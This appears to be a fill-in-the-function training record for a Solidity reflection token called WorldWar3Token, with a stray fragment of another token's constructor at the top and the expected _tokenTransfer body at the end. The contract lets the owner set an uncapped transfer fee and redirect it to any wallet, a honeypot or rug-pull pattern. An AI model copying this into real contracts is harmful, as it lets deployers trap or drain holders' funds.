name = "bzrx"; symbol = "BZRX"; decimals = 18; _totalSupply = 200000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply);
constructor() public
constructor() public
73478
WorldWar3Token
_tokenTransfer
contract WorldWar3Token is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address public receiveing_wallet = 0xb36731BEcF88BF1434B4448cF179e0307D809cc8; uint public fee = 9; // 1000 uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "WW3Token"; string private _symbol = "WW3"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 0; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; uint256 constant numTokensSellToAddToLiquidity = 1000000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function setReceivingWallet(address _receiving_wallet) public onlyOwner() { receiveing_wallet = _receiving_wallet; } function setFees(uint _fee) public onlyOwner() { fee = _fee; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { uint tax; uint toSend; tax = amount.mul(fee).div(1000); toSend = amount.sub(tax); _transfer(_msgSender(), recipient, toSend); _transfer(_msgSender(), receiveing_wallet, tax); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function updateRouterAndPair(address _uniswapV2Router,address _uniswapV2Pair) public onlyOwner() { uniswapV2Router = IUniswapV2Router02(_uniswapV2Router); uniswapV2Pair = _uniswapV2Pair; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { if (_tOwned[account] > 0) { uint256 newrOwned = _tOwned[account].mul(_getRate()); _rTotal = _rTotal.sub(_rOwned[account]-newrOwned); _tFeeTotal = _tFeeTotal.add(_rOwned[account]-newrOwned); _rOwned[account] = newrOwned; } else { _rOwned[account] = 0; } _tOwned[account] = 0; _excluded[i] = _excluded[_excluded.length - 1]; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if ( contractTokenBalance >= numTokensSellToAddToLiquidity && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { if (balanceOf(uniswapV2Pair) >= 2 && IERC20(WETH).balanceOf(uniswapV2Pair) > 0) { if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {<FILL_FUNCTION_BODY> } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function safeTransferETH(address to, uint value) public onlyOwner { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } function safeTransfer(address token, address to, uint value) public onlyOwner { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } }
contract WorldWar3Token is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address public receiveing_wallet = 0xb36731BEcF88BF1434B4448cF179e0307D809cc8; uint public fee = 9; // 1000 uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "WW3Token"; string private _symbol = "WW3"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 0; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; uint256 constant numTokensSellToAddToLiquidity = 1000000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function setReceivingWallet(address _receiving_wallet) public onlyOwner() { receiveing_wallet = _receiving_wallet; } function setFees(uint _fee) public onlyOwner() { fee = _fee; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { uint tax; uint toSend; tax = amount.mul(fee).div(1000); toSend = amount.sub(tax); _transfer(_msgSender(), recipient, toSend); _transfer(_msgSender(), receiveing_wallet, tax); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function updateRouterAndPair(address _uniswapV2Router,address _uniswapV2Pair) public onlyOwner() { uniswapV2Router = IUniswapV2Router02(_uniswapV2Router); uniswapV2Pair = _uniswapV2Pair; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { if (_tOwned[account] > 0) { uint256 newrOwned = _tOwned[account].mul(_getRate()); _rTotal = _rTotal.sub(_rOwned[account]-newrOwned); _tFeeTotal = _tFeeTotal.add(_rOwned[account]-newrOwned); _rOwned[account] = newrOwned; } else { _rOwned[account] = 0; } _tOwned[account] = 0; _excluded[i] = _excluded[_excluded.length - 1]; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if ( contractTokenBalance >= numTokensSellToAddToLiquidity && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { if (balanceOf(uniswapV2Pair) >= 2 && IERC20(WETH).balanceOf(uniswapV2Pair) > 0) { if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } <FILL_FUNCTION> function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function safeTransferETH(address to, uint value) public onlyOwner { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } function safeTransfer(address token, address to, uint value) public onlyOwner { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } }
if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee();
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private